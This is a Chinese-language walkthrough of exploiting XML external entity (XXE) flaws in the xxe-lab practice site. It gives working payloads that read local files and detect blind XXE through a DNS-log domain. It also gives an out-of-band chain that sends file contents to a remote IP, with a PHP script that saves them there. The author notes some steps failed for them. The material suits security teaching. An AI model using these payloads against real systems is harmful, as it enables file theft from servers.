1.介绍
xxe lab是一个小的网站靶场,我们可以用这个网站对于xxe漏洞进行一个大致的了解
2.利用xxe漏洞进行读文件
1.搭建网站
https://github.com/c0ny1/xxe-lab从这里把这个zip下载下来
解压之后,把php_xxe文件夹放到www文件夹下面,在phpsudy搭建下需要把php的版本设置到5.2,5.3,5.4下。
2.打开网站
这里用自己的ip加上网站打开,要不下面的信息传输可能会出问题
在网页上打开就是这样的一个页面
3.抓包分析
打开burpsuite设置好端口号
我们可以看见这个地方抓到了包,我们可以借着这个数据包大致分析xml传递数据的特点
Content-Type: application/xml;charset=utf-8
<user><username>admin</username><password>111</password></user>
可以发现,这两个地方比较有特点
send repeat查看一下
可以发现这个是一个带有回显的回复,我们可以利用这个去尝试读文件
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
<user><username>&test;</username><password>Mikasa</password></use
r>
大致解释一下这个代码内容,我们有一个实体test,内容是用file协议去读取d盘下面的e.txt.
这个地方需要注意一下的就是要改一下我给出的代码的回车,尽量给他弄成一排,要不可能会报错。
3.追溯源码
POST /php_xxe/doLogin.php HTTP/1.1
我们看到数据包有这一句,知道post数据的去向,我们打开这个php文件查看一下
$xmlfile = file_get_contents('php://input');这句是用php进行输入的意思,具体详细可以自己搜一下
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);用xml语言解析
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);刚刚页面返回的就是这个语句
这代表源码没有对于输入做任何过滤,而是直接就用xml解析了输入
4.没有回显的情况怎么办
我们把这个文件中的输出行失效掉
这里可以看见没办法看见文件内容了
在正常情况下没有显示我们可以猜想一下:代码?无回显?没漏洞?
我们这里确定是代码没问题的,我们看看到底有没有这个漏洞
1.带外测试
让xml语言,让服务器访问远程地址,如果远程地址可以查看到这个链接,就证明只是没有回显而已
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
执行的时候把远程的域名改成网址给的
可以发现,xml语句仍然被执行了
可以得出结论,这个漏洞任然存在,只是没有回显而已。
2.外部引用实体
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></use
r>
evil2.dtd
<!ENTITY send SYSTEM "file:///d:/e.txt">
在主机上我们新建一个实体文件试试看,能不能通过实体读取文件,把回显打开
说实在的,这个本机的搞不上去,这个代码估计是有点问题,我用了一个远程主机去做的,把%file变量的内容ip地址改成远程的就行,在远程主机上面开一个dtd去做
3.远程主机保存文件内容绕过无回显的问题
这个其实我搞了半天都是这样的
疯狂报错,真无语了
但是方法我还是放在这,有想试试的可以自己试试看
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM
'http://47.94.236.117/get.php?file=%file;'>">
在远程主机上要有一个文件test.dtd和一个get.php
get.php
<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
这样就可以在远程主机上出现一个file.txt保存下e.txt的内容了